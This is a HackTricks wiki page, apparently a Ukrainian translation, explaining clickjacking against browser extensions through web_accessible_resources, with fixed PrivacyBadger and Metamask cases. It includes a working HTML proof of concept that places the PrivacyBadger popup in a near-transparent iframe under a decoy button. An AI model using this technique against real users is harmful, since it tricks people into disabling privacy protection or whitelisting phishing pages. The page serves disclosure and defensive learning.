BrowExt - ClickJacking
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
Ця сторінка буде використовувати вразливість ClickJacking у розширенні браузера.
Якщо ви не знаєте, що таке ClickJacking, ознайомтеся з:
Розширення містить файл manifest.json
і цей JSON файл має поле web_accessible_resources
. Ось що кажуть документи Chrome:
Ці ресурси будуть доступні на веб-сторінці через URL
chrome-extension://[PACKAGE ID]/[PATH]
, який можна згенерувати за допомогоюextension.getURL method
. Ресурси, що знаходяться в білому списку, подаються з відповідними заголовками CORS, тому вони доступні через механізми, такі як XHR.1
web_accessible_resources
у розширенні браузера доступні не лише через веб; вони також працюють з вбудованими привілеями розширення. Це означає, що вони мають можливість:
- Змінювати стан розширення
- Завантажувати додаткові ресурси
- Взаємодіяти з браузером до певної міри
Однак ця функція представляє собою ризик для безпеки. Якщо ресурс у web_accessible_resources
має будь-яку значну функціональність, зловмисник може потенційно вбудувати цей ресурс у зовнішню веб-сторінку. Непідозрюючі користувачі, які відвідують цю сторінку, можуть ненавмисно активувати цей вбудований ресурс. Така активація може призвести до непередбачуваних наслідків, залежно від дозволів і можливостей ресурсів розширення.
Приклад PrivacyBadger
У розширенні PrivacyBadger була виявлена вразливість, пов'язана з тим, що директорія skin/
була оголошена як web_accessible_resources
наступним чином (перевірте оригінальний блог-пост):
"web_accessible_resources": [
"skin/*",
"icons/*"
]
Ця конфігурація призвела до потенційної проблеми безпеки. Зокрема, файл skin/popup.html
, який відображається при взаємодії з іконкою PrivacyBadger у браузері, може бути вбудований в iframe
. Це вбудовування може бути використане для обману користувачів, змушуючи їх випадково натискати на "Вимкнути PrivacyBadger для цього веб-сайту". Така дія порушить конфіденційність користувача, вимкнувши захист PrivacyBadger і потенційно піддаючи користувача підвищеному відстеженню. Візуальну демонстрацію цього експлойту можна переглянути у відео прикладі ClickJacking, наданому за посиланням https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.
Щоб вирішити цю вразливість, було реалізовано просте рішення: видалення /skin/*
зі списку web_accessible_resources
. Ця зміна ефективно зменшила ризик, забезпечивши, що вміст каталогу skin/
не може бути доступний або маніпульований через веб-доступні ресурси.
Виправлення було простим: видалити /skin/*
з web_accessible_resources
.
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>
<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Metamask Example
A блог пост про ClickJacking в metamask можна знайти тут. У цьому випадку Metamask виправив вразливість, перевіряючи, що протокол, використаний для доступу, був https:
або http:
(не chrome:
, наприклад):
.png)
Ще один ClickJacking, виправлений в розширенні Metamask, полягав у тому, що користувачі могли Click to whitelist, коли сторінка підозрювалася у фішингу через “web_accessible_resources”: [“inpage.js”, “phishing.html”]
. Оскільки ця сторінка була вразливою до Clickjacking, зловмисник міг зловживати цим, показуючи щось нормальне, щоб змусити жертву натиснути для внесення в білий список, не помічаючи цього, а потім повернутися на сторінку фішингу, яка буде внесена в білий список.
Steam Inventory Helper Example
Check the following page to check how a XSS in a browser extension was chained with a ClickJacking vulnerability:
References
- https://blog.lizzie.io/clickjacking-privacy-badger.html
- https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.